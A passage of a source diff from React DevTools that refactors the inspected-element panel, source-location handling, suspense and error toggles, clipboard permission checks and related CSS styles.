+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElement.js
@@ -7,38 +7,48 @@
  * @flow
  */
 
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
+
 import * as React from 'react';
 import {useCallback, useContext, useSyncExternalStore} from 'react';
-import {TreeDispatcherContext, TreeStateContext} from './TreeContext';
+import {TreeStateContext} from './TreeContext';
 import {BridgeContext, StoreContext, OptionsContext} from '../context';
 import Button from '../Button';
 import ButtonIcon from '../ButtonIcon';
 import Icon from '../Icon';
-import {ModalDialogContext} from '../ModalDialog';
 import Toggle from '../Toggle';
-import {ElementTypeSuspense} from 'react-devtools-shared/src/frontend/types';
-import CannotSuspendWarningMessage from './CannotSuspendWarningMessage';
+import {
+  ElementTypeSuspense,
+  ElementTypeRoot,
+} from 'react-devtools-shared/src/frontend/types';
 import InspectedElementView from './InspectedElementView';
 import {InspectedElementContext} from './InspectedElementContext';
-import {getOpenInEditorURL} from '../../../utils';
-import {LOCAL_STORAGE_OPEN_IN_EDITOR_URL} from '../../../constants';
+import {getAlwaysOpenInEditor} from '../../../utils';
+import {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../../constants';
 import FetchFileWithCachingContext from './FetchFileWithCachingContext';
 import {symbolicateSourceWithCache} from 'react-devtools-shared/src/symbolicateSource';
 import OpenInEditorButton from './OpenInEditorButton';
 import InspectedElementViewSourceButton from './InspectedElementViewSourceButton';
-import Skeleton from './Skeleton';
+import useEditorURL from '../useEditorURL';
 
 import styles from './InspectedElement.css';
+import Tooltip from './reach-ui/tooltip';
 
-import type {Source} from 'react-devtools-shared/src/shared/types';
-
-export type Props = {};
+export type Props = {
+  actionButtons?: React.Node,
+  /** fallback to show when no element is inspected */
+  fallbackEmpty: React.Node,
+};
 
 // TODO Make edits and deletes also use transition API!
 
-export default function InspectedElementWrapper(_: Props): React.Node {
+const noSourcePromise = Promise.resolve(null);
+
+export default function InspectedElementWrapper({
+  actionButtons,
+  fallbackEmpty,
+}: Props): React.Node {
   const {inspectedElementID} = useContext(TreeStateContext);
-  const dispatch = useContext(TreeDispatcherContext);
   const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
   const {
@@ -47,29 +57,35 @@ export default function InspectedElementWrapper(_: Props): React.Node {
     hideLogAction,
     hideViewSourceAction,
   } = useContext(OptionsContext);
-  const {dispatch: modalDialogDispatch} = useContext(ModalDialogContext);
 
   const {hookNames, inspectedElement, parseHookNames, toggleParseHookNames} =
     useContext(InspectedElementContext);
 
   const fetchFileWithCaching = useContext(FetchFileWithCachingContext);
 
-  const symbolicatedSourcePromise: null | Promise<Source | null> =
+  const source =
+    inspectedElement == null
+      ? null
+      : inspectedElement.source != null
+        ? inspectedElement.source
+        : inspectedElement.stack != null && inspectedElement.stack.length > 0
+          ? inspectedElement.stack[0]
+          : null;
+
+  const symbolicatedSourcePromise: Promise<SourceMappedLocation | null> =
     React.useMemo(() => {
-      if (inspectedElement == null) return null;
-      if (fetchFileWithCaching == null) return Promise.resolve(null);
+      if (fetchFileWithCaching == null) return noSourcePromise;
 
-      const {source} = inspectedElement;
-      if (source == null) return Promise.resolve(null);
+      if (source == null) return noSourcePromise;
 
-      const {sourceURL, line, column} = source;
+      const [, sourceURL, line, column] = source;
       return symbolicateSourceWithCache(
         fetchFileWithCaching,
         sourceURL,
         line,
         column,
       );
-    }, [inspectedElement]);
+    }, [source]);
 
   const element =
     inspectedElementID !== null
@@ -80,11 +96,11 @@ export default function InspectedElementWrapper(_: Props): React.Node {
     if (element !== null && inspectedElementID !== null) {
       const rendererID = store.getRendererIDForElement(inspectedElementID);
       if (rendererID !== null) {
-        bridge.send('highlightNativeElement', {
+        bridge.send('highlightHostInstance', {
           displayName: element.displayName,
           hideAfterTimeout: true,
           id: inspectedElementID,
-          openNativeElementsPanel: true,
+          openBuiltinElementsPanel: true,
           rendererID,
           scrollIntoView: true,
         });
@@ -105,14 +121,12 @@ export default function InspectedElementWrapper(_: Props): React.Node {
   }, [bridge, inspectedElementID, store]);
 
   const isErrored = inspectedElement != null && inspectedElement.isErrored;
-  const targetErrorBoundaryID =
-    inspectedElement != null ? inspectedElement.targetErrorBoundaryID : null;
 
   const isSuspended =
     element !== null &&
     element.type === ElementTypeSuspense &&
     inspectedElement != null &&
-    inspectedElement.state != null;
+    inspectedElement.isSuspended;
 
   const canToggleError =
     !hideToggleErrorAction &&
@@ -124,117 +138,98 @@ export default function InspectedElementWrapper(_: Props): React.Node {
     inspectedElement != null &&
     inspectedElement.canToggleSuspense;
 
-  const editorURL = useSyncExternalStore(
-    function subscribe(callback) {
-      window.addEventListener(LOCAL_STORAGE_OPEN_IN_EDITOR_URL, callback);
+  const alwaysOpenInEditor = useSyncExternalStore(
+    useCallback(function subscribe(callback) {
+      window.addEventListener(LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR, callback);
       return function unsubscribe() {
-        window.removeEventListener(LOCAL_STORAGE_OPEN_IN_EDITOR_URL, callback);
+        window.removeEventListener(
+          LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,
+          callback,
+        );
       };
-    },
-    function getState() {
-      return getOpenInEditorURL();
-    },
+    }, []),
+    getAlwaysOpenInEditor,
   );
 
+  const editorURL = useEditorURL();
+
   const toggleErrored = useCallback(() => {
-    if (inspectedElement == null || targetErrorBoundaryID == null) {
+    if (inspectedElement == null) {
       return;
     }
 
-    const rendererID = store.getRendererIDForElement(targetErrorBoundaryID);
+    const rendererID = store.getRendererIDForElement(inspectedElement.id);
     if (rendererID !== null) {
-      if (targetErrorBoundaryID !== inspectedElement.id) {
-        // Update tree selection so that if we cause a component to error,
-        // the nearest error boundary will become the newly selected thing.
-        dispatch({
-          type: 'SELECT_ELEMENT_BY_ID',
-          payload: targetErrorBoundaryID,
-        });
-      }
-
       // Toggle error.
+      // Because triggering an error will always delete the children, we'll
+      // automatically select the nearest still mounted instance which will be
+      // the error boundary.
       bridge.send('overrideError', {
-        id: targetErrorBoundaryID,
+        id: inspectedElement.id,
         rendererID,
         forceError: !isErrored,
       });
     }
-  }, [bridge, dispatch, isErrored, targetErrorBoundaryID]);
+  }, [bridge, store, isErrored, inspectedElement]);
 
   // TODO (suspense toggle) Would be nice to eventually use a two setState pattern here as well.
   const toggleSuspended = useCallback(() => {
-    let nearestSuspenseElement = null;
-    let currentElement = element;
-    while (currentElement !== null) {
-      if (currentElement.type === ElementTypeSuspense) {
-        nearestSuspenseElement = currentElement;
-        break;
-      } else if (currentElement.parentID > 0) {
-        currentElement = store.getElementByID(currentElement.parentID);
-      } else {
-        currentElement = null;
-      }
+    if (inspectedElement == null) {
+      return;
     }
 
-    // If we didn't find a Suspense ancestor, we can't suspend.
-    // Instead we can show a warning to the user.
-    if (nearestSuspenseElement === null) {
-      modalDialogDispatch({
-        id: 'InspectedElement',
-        type: 'SHOW',
-        content: <CannotSuspendWarningMessage />,
-      });
-    } else {
-      const nearestSuspenseElementID = nearestSuspenseElement.id;
-
-      // If we're suspending from an arbitrary (non-Suspense) component, select the nearest Suspense element in the Tree.
-      // This way when the fallback UI is shown and the current element is hidden, something meaningful is selected.
-      if (nearestSuspenseElement !== element) {
-        dispatch({
-          type: 'SELECT_ELEMENT_BY_ID',
-          payload: nearestSuspenseElementID,
-        });
-      }
-
-      const rendererID = store.getRendererIDForElement(
-        nearestSuspenseElementID,
-      );
-
+    const rendererID = store.getRendererIDForElement(inspectedElement.id);
+    if (rendererID !== null) {
       // Toggle suspended
-      if (rendererID !== null) {
-        bridge.send('overrideSuspense', {
-          id: nearestSuspenseElementID,
-          rendererID,
-          forceFallback: !isSuspended,
-        });
-      }
+      // Because suspending or unsuspending always delete the children or fallback,
+      // we'll automatically select the nearest still mounted instance which will be
+      // the Suspense boundary.
+      bridge.send('overrideSuspense', {
+        id: inspectedElement.id,
+        rendererID,
+        forceFallback: !isSuspended,
+      });
     }
-  }, [bridge, dispatch, element, isSuspended, modalDialogDispatch, store]);
+  }, [bridge, store, isSuspended, inspectedElement]);
 
   if (element === null) {
     return (
       <div className={styles.InspectedElement}>
         <div className={styles.TitleRow} />
+        <div className={styles.NoInspectionFallback}>{fallbackEmpty}</div>
       </div>
     );
   }
 
   let strictModeBadge = null;
-  if (element.isStrictModeNonCompliant) {
+  if (element.isStrictModeNonCompliant && element.parentID !== 0) {
     strictModeBadge = (
-      <a
-        className={styles.StrictModeNonCompliant}
-        href="https://react.dev/reference/react/StrictMode"
-        rel="noopener noreferrer"
-        target="_blank"
-        title="This component is not running in StrictMode. Click to learn more.">
-        <Icon type="strict-mode-non-compliant" />
-      </a>
+      <Tooltip label="This component is not running in StrictMode. Click to learn more.">
+        <a
+          className={styles.StrictModeNonCompliant}
+          href="https://react.dev/reference/react/StrictMode"
+          rel="noopener noreferrer"
+          target="_blank">
+          <Icon type="strict-mode-non-compliant" />
+        </a>
+      </Tooltip>
     );
   }
 
+  let fullName = element.displayName || '';
+  if (element.nameProp !== null) {
+    fullName += ' "' + element.nameProp + '"';
+  }
+  if (element.type === ElementTypeRoot) {
+    // The root only has "suspended by" and it represents the things that block
+    // Initial Paint.
+    fullName = 'Initial Paint';
+  }
+
   return (
-    <div className={styles.InspectedElement}>
+    <div
+      className={styles.InspectedElement}
+      key={inspectedElementID /* Force reset when selected Element changes */}>
       <div className={styles.TitleRow} data-testname="InspectedElement-Title">
         {strictModeBadge}
 
@@ -250,26 +245,24 @@ export default function InspectedElementWrapper(_: Props): React.Node {
         <div className={styles.SelectedComponentName}>
           <div
             className={
-              element.isStrictModeNonCompliant
-                ? styles.StrictModeNonCompliant
-                : styles.Component
+              element.isStrictModeNonCompliant && element.parentID !== 0
+                ? `${styles.ComponentName} ${styles.StrictModeNonCompliantComponentName}`
+                : styles.ComponentName
             }
-            title={element.displayName}>
-            {element.displayName}
+            title={fullName}>
+            {fullName}
           </div>
         </div>
 
-        {!!editorURL &&
-          inspectedElement != null &&
-          inspectedElement.source != null &&
+        {!alwaysOpenInEditor &&
+          !!editorURL &&
+          source != null &&
           symbolicatedSourcePromise != null && (
-            <React.Suspense fallback={<Skeleton height={16} width={24} />}>
-              <OpenInEditorButton
-                editorURL={editorURL}
-                source={inspectedElement.source}
-                symbolicatedSourcePromise={symbolicatedSourcePromise}
-              />
-            </React.Suspense>
+            <OpenInEditorButton
+              editorURL={editorURL}
+              source={source}
+              symbolicatedSourcePromise={symbolicatedSourcePromise}
+            />
           )}
 
         {canToggleError && (
@@ -284,18 +277,21 @@ export default function InspectedElementWrapper(_: Props): React.Node {
             <ButtonIcon type="error" />
           </Toggle>
         )}
-        {canToggleSuspense && (
+        {canToggleSuspense || isSuspended ? (
           <Toggle
             isChecked={isSuspended}
+            isDisabled={!canToggleSuspense}
             onChange={toggleSuspended}
             title={
               isSuspended
-                ? 'Unsuspend the selected component'
+                ? canToggleSuspense
+                  ? 'Unsuspend the selected component'
+                  : 'This boundary is still suspended'
                 : 'Suspend the selected component'
             }>
             <ButtonIcon type="suspend" />
           </Toggle>
-        )}
+        ) : null}
         {store.supportsInspectMatchingDOMElement && (
           <Button
             onClick={highlightElement}
@@ -313,22 +309,25 @@ export default function InspectedElementWrapper(_: Props): React.Node {
 
         {!hideViewSourceAction && (
           <InspectedElementViewSourceButton
-            canViewSource={inspectedElement?.canViewSource}
-            source={inspectedElement?.source}
+            source={source}
             symbolicatedSourcePromise={symbolicatedSourcePromise}
           />
         )}
+
+        {actionButtons && (
+          <>
+            <div className={styles.VRule} />
+            {actionButtons}
+          </>
+        )}
       </div>
 
       {inspectedElement === null && (
         <div className={styles.Loading}>Loading...</div>
       )}
 
-      {inspectedElement !== null && symbolicatedSourcePromise != null && (
+      {inspectedElement !== null && (
         <InspectedElementView
-          key={
-            inspectedElementID /* Force reset when selected Element changes */
-          }
           element={element}
           hookNames={hookNames}
           inspectedElement={inspectedElement}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementBadges.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementBadges.js
index 9a069b484b5e..07e303dbc71b 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementBadges.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementBadges.js
@@ -11,21 +11,25 @@ import * as React from 'react';
 
 import Badge from './Badge';
 import ForgetBadge from './ForgetBadge';
+import NativeTagBadge from './NativeTagBadge';
 
 import styles from './InspectedElementBadges.css';
 
 type Props = {
   hocDisplayNames: null | Array<string>,
   compiledWithForget: boolean,
+  nativeTag: number | null,
 };
 
 export default function InspectedElementBadges({
   hocDisplayNames,
   compiledWithForget,
+  nativeTag,
 }: Props): React.Node {
   if (
     !compiledWithForget &&
-    (hocDisplayNames == null || hocDisplayNames.length === 0)
+    (hocDisplayNames == null || hocDisplayNames.length === 0) &&
+    nativeTag === null
   ) {
     return null;
   }
@@ -33,6 +37,7 @@ export default function InspectedElementBadges({
   return (
     <div className={styles.Root}>
       {compiledWithForget && <ForgetBadge indexable={false} />}
+      {nativeTag !== null && <NativeTagBadge nativeTag={nativeTag} />}
 
       {hocDisplayNames !== null &&
         hocDisplayNames.map(hocDisplayName => (
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContext.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContext.js
index 0e198fc5b799..f6549fc243e4 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContext.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContext.js
@@ -66,7 +66,7 @@ export type Props = {
 export function InspectedElementContextController({
   children,
 }: Props): React.Node {
-  const {selectedElementID} = useContext(TreeStateContext);
+  const {inspectedElementID} = useContext(TreeStateContext);
   const fetchFileWithCaching = useContext(FetchFileWithCachingContext);
   const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
@@ -93,7 +93,9 @@ export function InspectedElementContextController({
   });
 
   const element =
-    selectedElementID !== null ? store.getElementByID(selectedElementID) : null;
+    inspectedElementID !== null
+      ? store.getElementByID(inspectedElementID)
+      : null;
 
   const alreadyLoadedHookNames =
     element != null && hasAlreadyLoadedHookNames(element);
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContextTree.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContextTree.js
index 5e7276b1698a..941fa5fe01dd 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContextTree.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContextTree.js
@@ -19,6 +19,7 @@ import {
   ElementTypeClass,
   ElementTypeFunction,
 } from 'react-devtools-shared/src/frontend/types';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import type {InspectedElement} from 'react-devtools-shared/src/frontend/types';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
@@ -41,14 +42,18 @@ export default function InspectedElementContextTree({
 
   const isReadOnly = type !== ElementTypeClass && type !== ElementTypeFunction;
 
-  const entries = context != null ? Object.entries(context) : null;
-  if (entries !== null) {
-    entries.sort(alphaSortEntries);
+  if (context == null) {
+    return null;
   }
 
-  const isEmpty = entries === null || entries.length === 0;
+  const entries = Object.entries(context);
+  entries.sort(alphaSortEntries);
+  const isEmpty = entries.length === 0;
 
-  const handleCopy = () => copy(serializeDataForCopy(((context: any): Object)));
+  const handleCopy = withPermissionsCheck(
+    {permissions: ['clipboardWrite']},
+    () => copy(serializeDataForCopy(context)),
+  );
 
   // We add an object with a "value" key as a wrapper around Context data
   // so that we can use the shared <KeyValue> component to display it.
@@ -60,7 +65,7 @@ export default function InspectedElementContextTree({
     return null;
   } else {
     return (
-      <div className={styles.InspectedElementTree}>
+      <div>
         <div className={styles.HeaderRow}>
           <div className={styles.Header}>
             {hasLegacyContext ? 'legacy context' : 'context'}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorBoundary.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorBoundary.js
index c070662f05ff..9a5612ad8c91 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorBoundary.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorBoundary.js
@@ -27,7 +27,7 @@ export default function InspectedElementErrorBoundaryWrapper({
 }: WrapperProps): React.Node {
   // Key on the selected element ID so that changing the selected element automatically hides the boundary.
   // This seems best since an error inspecting one element isn't likely to be relevant to another element.
-  const {selectedElementID} = useContext(TreeStateContext);
+  const {inspectedElementID} = useContext(TreeStateContext);
 
   const refresh = useCacheRefresh();
   const handleDsmiss = useCallback(() => {
@@ -37,7 +37,7 @@ export default function InspectedElementErrorBoundaryWrapper({
   return (
     <div className={styles.Wrapper}>
       <ErrorBoundary
-        key={selectedElementID}
+        key={inspectedElementID}
         canDismiss={true}
         onBeforeDismissCallback={handleDsmiss}>
         {children}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorsAndWarningsTree.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorsAndWarningsTree.js
index 4e192d027e8d..c3ccdf633946 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorsAndWarningsTree.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorsAndWarningsTree.js
@@ -9,7 +9,6 @@
 
 import * as React from 'react';
 import {
-  useContext,
   unstable_useCacheRefresh as useCacheRefresh,
   useTransition,
 } from 'react';
@@ -18,7 +17,6 @@ import ButtonIcon from '../ButtonIcon';
 import Store from '../../store';
 import sharedStyles from './InspectedElementSharedStyles.css';
 import styles from './InspectedElementErrorsAndWarningsTree.css';
-import {SettingsContext} from '../Settings/SettingsContext';
 import {
   clearErrorsForElement as clearErrorsForElementAPI,
   clearWarningsForElement as clearWarningsForElementAPI,
@@ -74,12 +72,14 @@ export default function InspectedElementErrorsAndWarningsTree({
     }
   };
 
-  const {showInlineWarningsAndErrors} = useContext(SettingsContext);
-  if (!showInlineWarningsAndErrors) {
+  if (!store.displayingErrorsAndWarningsEnabled) {
     return null;
   }
 
   const {errors, warnings} = inspectedElement;
+  if (errors.length === 0 && warnings.length === 0) {
+    return null;
+  }
 
   return (
     <React.Fragment>
@@ -136,7 +136,7 @@ function Tree({
     return null;
   }
   return (
-    <div className={`${sharedStyles.InspectedElementTree} ${className}`}>
+    <div className={className}>
       <div className={`${sharedStyles.HeaderRow} ${styles.HeaderRow}`}>
         <div className={sharedStyles.Header}>{label}</div>
         <Button
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.css b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.css
index 09cb48c06b95..066b29c66a42 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.css
@@ -1,8 +1,3 @@
-.HooksTreeView {
-  padding: 0.25rem;
-  border-top: 1px solid var(--color-border);
-}
-
 .Hook {
 }
 
@@ -85,4 +80,4 @@
 
 .ToggleError {
   color: var(--color-error-text);
-}
\ No newline at end of file
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.js
index 5fd1a0a1ee77..80c9f2f92d0b 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.js
@@ -20,7 +20,7 @@ import {getMetaValueLabel, serializeHooksForCopy} from '../utils';
 import Store from '../../store';
 import styles from './InspectedElementHooksTree.css';
 import {meta} from '../../../hydration';
-import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookNamesCache';
+import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';
 import HookNamesModuleLoaderContext from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';
 import isArray from 'react-devtools-shared/src/isArray';
 
@@ -80,9 +80,7 @@ export function InspectedElementHooksTree({
     return null;
   } else {
     return (
-      <div
-        className={styles.HooksTreeView}
-        data-testname="InspectedElementHooksTree">
+      <div data-testname="InspectedElementHooksTree">
         <div className={styles.HeaderRow}>
           <div className={styles.Header}>hooks</div>
           {typeof hookNamesModuleLoader === 'function' &&
@@ -225,7 +223,10 @@ function HookView({
   const hookDisplayName = hookName ? (
     <>
       {name}
-      {!!hookName && <span className={styles.HookName}>({hookName})</span>}
+      {
+        // $FlowFixMe[constant-condition]
+        !!hookName && <span className={styles.HookName}>({hookName})</span>
+      }
     </>
   ) : (
     name
@@ -388,6 +389,6 @@ function HookView({
   }
 }
 
-export default (React.memo(
-  InspectedElementHooksTree,
-): React.ComponentType<HookViewProps>);
+export default (React.memo(InspectedElementHooksTree): component(
+  ...props: HookViewProps
+));
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementPropsTree.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementPropsTree.js
index f0bc91afb3fd..59e5b8cc9106 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementPropsTree.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementPropsTree.js
@@ -17,7 +17,12 @@ import NewKeyValue from './NewKeyValue';
 import {alphaSortEntries, serializeDataForCopy} from '../utils';
 import Store from '../../store';
 import styles from './InspectedElementSharedStyles.css';
-import {ElementTypeClass} from 'react-devtools-shared/src/frontend/types';
+import {
+  ElementTypeClass,
+  ElementTypeSuspense,
+  ElementTypeActivity,
+} from 'react-devtools-shared/src/frontend/types';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import type {InspectedElement} from 'react-devtools-shared/src/frontend/types';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
@@ -49,23 +54,31 @@ export default function InspectedElementPropsTree({
   const canDeletePaths =
     type === ElementTypeClass || canEditFunctionPropsDeletePaths;
   const canEditValues =
-    !readOnly && (type === ElementTypeClass || canEditFunctionProps);
+    !readOnly &&
+    (type === ElementTypeClass || canEditFunctionProps) &&
+    // Make it read-only for Suspense to make it a bit cleaner. It's not
+    // useful to edit children anyway.
+    type !== ElementTypeSuspense &&
+    type !== ElementTypeActivity;
   const canRenamePaths =
     type === ElementTypeClass || canEditFunctionPropsRenamePaths;
 
-  const entries = props != null ? Object.entries(props) : null;
-  if (entries !== null) {
-    entries.sort(alphaSortEntries);
+  // Skip the section for null props.
+  if (props == null) {
+    return null;
   }
 
-  const isEmpty = entries === null || entries.length === 0;
+  const entries = Object.entries(props);
+  entries.sort(alphaSortEntries);
+  const isEmpty = entries.length === 0;
 
-  const handleCopy = () => copy(serializeDataForCopy(((props: any): Object)));
+  const handleCopy = withPermissionsCheck(
+    {permissions: ['clipboardWrite']},
+    () => copy(serializeDataForCopy(props)),
+  );
 
   return (
-    <div
-      className={styles.InspectedElementTree}
-      data-testname="InspectedElementPropsTree">
+    <div data-testname="InspectedElementPropsTree">
       <div className={styles.HeaderRow}>
         <div className={styles.Header}>props</div>
         {!isEmpty && (
@@ -75,7 +88,7 @@ export default function InspectedElementPropsTree({
         )}
       </div>
       {!isEmpty &&
-        (entries: any).map(([name, value]) => (
+        entries.map(([name, value]) => (
           <KeyValue
             key={name}
             alphaSort={true}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSharedStyles.css b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSharedStyles.css
index 1d8f6071544a..6c56aec68998 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSharedStyles.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSharedStyles.css
@@ -1,10 +1,3 @@
-.InspectedElementTree {
-  padding: 0.25rem;
-}
-.InspectedElementTree:first-of-type {
-  border-top: none;
-}
-
 .HeaderRow {
   display: flex;
   align-items: center;
@@ -58,3 +51,95 @@
 .EditableValue {
   min-width: 1rem;
 }
+
+.InfoRow {
+  border-top: 1px solid var(--color-border);
+  padding: 0.5rem 1rem;
+}
+
+.InfoRow:last-child {
+  margin-bottom: -0.25rem;
+}
+
+.CollapsableRow {
+  border-top: 1px solid var(--color-border);
+}
+
+.CollapsableRow:last-child {
+  margin-bottom: -0.25rem;
+}
+
+.CollapsableHeader {
+  width: 100%;
+  padding: 0.25rem;
+  display: flex;
+}
+
+.CollapsableHeader[data-pending="true"] {
+  cursor: progress;
+}
+
+.CollapsableHeaderIcon {
+  flex: 0 0 1rem;
+  margin-left: -0.25rem;
+  width: 1rem;
+  height: 1rem;
+  padding: 0;
+  color: var(--color-expand-collapse-toggle);
+}
+
+.CollapsableHeaderTitle, .CollapsableHeaderDescription, .CollapsableHeaderSeparator, .CollapsableHeaderFiller {
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+  text-align: left;
+  white-space: nowrap;
+}
+.CollapsableHeaderTitle {
+  flex: 0 1 auto;
+  overflow: hidden;
+  text-overflow: ellipsis;
+}
+
+.CollapsableHeaderSeparator {
+  flex: 0 0 auto;
+  white-space: pre;
+}
+
+.CollapsableHeaderFiller {
+  flex: 1 0 0;
+}
+
+.CollapsableContent {
+  margin-top: -0.25rem;
+}
+
+.PreviewContainer {
+  padding: 0.25rem;
+}
+
+.TimeBarContainer {
+  position: relative;
+  flex: 0 0 20%;
+  height: 0.25rem;
+  border-radius: 0.125rem;
+  background-color: var(--color-timebar-background);
+}
+
+.TimeBarSpan, .TimeBarSpanErrored {
+  position: absolute;
+  border-radius: 0.125rem;
+  background-color: var(--color-suspense);
+  width: 100%;
+  height: 100%;
+}
+
+.TimeBarSpanErrored {
+  background-color: var(--color-suspense-errored);
+}
+
+.SmallHeader {
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+  padding-left: 1.25rem;
+  margin-top: 0.25rem;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.css b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.css
index 0fab548c8c45..3c96c2bf2cf6 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.css
@@ -1,8 +1,3 @@
-.Source {
-  padding: 0.25rem;
-  border-top: 1px solid var(--color-border);
-}
-
 .SourceHeaderRow {
   display: flex;
   align-items: center;
@@ -23,3 +18,18 @@
   max-width: 100%;
   margin-left: 1rem;
 }
+
+.Link {
+  color: var(--color-link);
+  white-space: pre;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  flex: 1;
+  cursor: pointer;
+  border-radius: 0.125rem;
+  padding: 0px 2px;
+}
+
+.Link:hover {
+  background-color: var(--color-background-hover);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.js
index b051e94ee20c..9faf6c1d7abc 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.js
@@ -9,18 +9,23 @@
 
 import * as React from 'react';
 import {copy} from 'clipboard-js';
-import {toNormalUrl} from 'jsc-safe-url';
 
 import Button from '../Button';
 import ButtonIcon from '../ButtonIcon';
 import Skeleton from './Skeleton';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
-import type {Source as InspectedElementSource} from 'react-devtools-shared/src/shared/types';
+import useOpenResource from '../useOpenResource';
+
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
 import styles from './InspectedElementSourcePanel.css';
 
+import formatLocationForDisplay from './formatLocationForDisplay';
+
 type Props = {
-  source: InspectedElementSource,
-  symbolicatedSourcePromise: Promise<InspectedElementSource | null>,
+  source: ReactFunctionLocation,
+  symbolicatedSourcePromise: Promise<SourceMappedLocation | null>,
 };
 
 function InspectedElementSourcePanel({
@@ -28,11 +33,16 @@ function InspectedElementSourcePanel({
   symbolicatedSourcePromise,
 }: Props): React.Node {
   return (
-    <div className={styles.Source} data-testname="InspectedElementView-Source">
+    <div>
       <div className={styles.SourceHeaderRow}>
         <div className={styles.SourceHeader}>source</div>
 
-        <React.Suspense fallback={<Skeleton height={16} width={16} />}>
+        <React.Suspense
+          fallback={
+            <Button disabled={true} title="Loading source maps...">
+              <ButtonIcon type="copy" />
+            </Button>
+          }>
           <CopySourceButton
             source={source}
             symbolicatedSourcePromise={symbolicatedSourcePromise}
@@ -58,8 +68,11 @@ function InspectedElementSourcePanel({
 function CopySourceButton({source, symbolicatedSourcePromise}: Props) {
   const symbolicatedSource = React.use(symbolicatedSourcePromise);
   if (symbolicatedSource == null) {
-    const {sourceURL, line, column} = source;
-    const handleCopy = () => copy(`${sourceURL}:${line}:${column}`);
+    const [, sourceURL, line, column] = source;
+    const handleCopy = withPermissionsCheck(
+      {permissions: ['clipboardWrite']},
+      () => copy(`${sourceURL}:${line}:${column}`),
+    );
 
     return (
       <Button onClick={handleCopy} title="Copy to clipboard">
@@ -68,8 +81,11 @@ function CopySourceButton({source, symbolicatedSourcePromise}: Props) {
     );
   }
 
-  const {sourceURL, line, column} = symbolicatedSource;
-  const handleCopy = () => copy(`${sourceURL}:${line}:${column}`);
+  const [, sourceURL, line, column] = symbolicatedSource.location;
+  const handleCopy = withPermissionsCheck(
+    {permissions: ['clipboardWrite']},
+    () => copy(`${sourceURL}:${line}:${column}`),
+  );
 
   return (
     <Button onClick={handleCopy} title="Copy to clipboard">
